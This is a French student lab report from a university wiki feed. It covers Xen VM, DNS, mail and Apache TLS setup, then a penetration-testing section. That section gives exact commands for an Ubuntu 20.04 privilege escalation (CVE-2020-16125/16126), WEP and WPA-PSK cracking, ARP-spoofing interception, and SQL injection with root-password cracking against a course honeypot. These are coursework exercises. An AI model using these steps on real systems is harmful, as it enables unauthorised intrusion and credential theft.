== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54244</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54244"/>
				<updated>2020-12-02T14:17:09Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.3 Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	ServerAdmin admin@piedbleu.site&lt;br /&gt;
	DocumentRoot /var/www/html&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
	Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
	ServerName piedbleu.site&lt;br /&gt;
	ServerAlias www.piedbleu.site&lt;br /&gt;
	DocumentRoot /var/www/html&lt;br /&gt;
	CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
	SSLEngine on&lt;br /&gt;
	SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
	SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
	SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
	SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
